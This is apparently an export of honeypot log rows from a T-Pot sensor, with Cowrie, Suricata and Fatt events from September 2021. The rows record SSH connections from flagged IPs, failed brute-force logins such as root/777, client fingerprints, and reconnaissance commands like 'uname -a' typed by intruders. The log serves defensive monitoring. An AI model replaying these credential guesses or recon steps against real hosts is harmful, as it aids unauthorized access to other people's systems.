cowrie.session.params	\N	known attacker	\N
33130	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:33.580087+03	2021-09-20 15:00:04.351722+03	{"_id": "gQYOA3wBvYTbRNuEzU46", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/777] failed", "session": "1ab1b505d498", "@version": "1", "password": "777", "username": "root", "timestamp": "2021-09-20T11:54:33.580087Z", "@timestamp": "2021-09-20T11:54:33.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33131	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:33.639689+03	2021-09-20 15:00:04.352723+03	{"_id": "ggYOA3wBvYTbRNuEzU46", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "00a5d5dc6e14", "@version": "1", "timestamp": "2021-09-20T11:54:33.639689Z", "@timestamp": "2021-09-20T11:54:33.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33132	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:54:33.638261+03	2021-09-20 15:00:04.353722+03	{"_id": "gwYOA3wBvYTbRNuEzk6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 1158640282715454, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 55140, "dest_port": 22, "timestamp": "2021-09-20T11:54:33.638261Z", "@timestamp": "2021-09-20T11:54:33.638Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33133	121.4.68.188	109.199.241.180	Fatt	2021-09-20 14:54:33.639411+03	2021-09-20 15:00:04.354722+03	{"_id": "hAYOA3wBvYTbRNuEz06g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55140, "dest_port": 22, "timestamp": "2021-09-20T11:54:33.639411", "@timestamp": "2021-09-20T11:54:33.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33134	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:34.544935+03	2021-09-20 15:00:04.356722+03	{"_id": "hwYOA3wBvYTbRNuE0U4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:34.544935Z", "@timestamp": "2021-09-20T11:54:34.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33135	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:34.545479+03	2021-09-20 15:00:04.357722+03	{"_id": "hgYOA3wBvYTbRNuE0U4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:34.545479Z", "@timestamp": "2021-09-20T11:54:34.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33136	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:34.851687+03	2021-09-20 15:00:04.358725+03	{"_id": "hQYOA3wBvYTbRNuE0U4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "00a5d5dc6e14", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:54:34.851687Z", "@timestamp": "2021-09-20T11:54:34.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33142	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:54:30.809282+03	2021-09-20 15:00:04.366722+03	{"_id": "WwYOA3wBvYTbRNuEwk7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1089467686577523, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57315, "dest_port": 22, "timestamp": "2021-09-20T11:54:30.809282Z", "@timestamp": "2021-09-20T11:54:30.809Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33137	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:30.539307+03	2021-09-20 15:00:04.359723+03	{"_id": "UgYOA3wBvYTbRNuEv079", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57315, "timestamp": "2021-09-20T11:54:30.539307", "@timestamp": "2021-09-20T11:54:30.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33138	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:30.674558+03	2021-09-20 15:00:04.361722+03	{"_id": "VwYOA3wBvYTbRNuEwU5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:30.674558Z", "@timestamp": "2021-09-20T11:54:30.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33139	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:30.810023+03	2021-09-20 15:00:04.362722+03	{"_id": "VgYOA3wBvYTbRNuEwU5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "1ab1b505d498", "@version": "1", "timestamp": "2021-09-20T11:54:30.810023Z", "@timestamp": "2021-09-20T11:54:30.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33140	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:30.674017+03	2021-09-20 15:00:04.363723+03	{"_id": "WQYOA3wBvYTbRNuEwU6A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:30.674017Z", "@timestamp": "2021-09-20T11:54:30.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33141	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:54:30.849951+03	2021-09-20 15:00:04.365722+03	{"_id": "WgYOA3wBvYTbRNuEwU6A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "62453c906510", "@version": "1", "duration": 1.4119441509246826, "timestamp": "2021-09-20T11:54:30.849951Z", "@timestamp": "2021-09-20T11:54:30.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33189	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:54:29.746859+03	2021-09-20 15:00:04.426722+03	{"_id": "TAYOA3wBvYTbRNuEvk7z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24979, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 403896416953707, "@version": "1", "in_iface": "enp5s0", "src_port": 60765, "dest_port": 53, "timestamp": "2021-09-20T11:54:29.746859Z", "@timestamp": "2021-09-20T11:54:29.746Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33143	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:31.261939+03	2021-09-20 15:00:04.367721+03	{"_id": "XgYOA3wBvYTbRNuEw07m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54932, "timestamp": "2021-09-20T11:54:31.261939", "@timestamp": "2021-09-20T11:54:31.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33144	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:31.256927+03	2021-09-20 15:00:04.368722+03	{"_id": "aAYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:54932 (192.168.176.2:22) [session: c3d04de9c460]", "session": "c3d04de9c460", "@version": "1", "protocol": "ssh", "src_port": 54932, "dest_port": 22, "timestamp": "2021-09-20T11:54:31.256927Z", "@timestamp": "2021-09-20T11:54:31.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33145	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:31.675932+03	2021-09-20 15:00:04.370723+03	{"_id": "aQYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:31.675932Z", "@timestamp": "2021-09-20T11:54:31.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
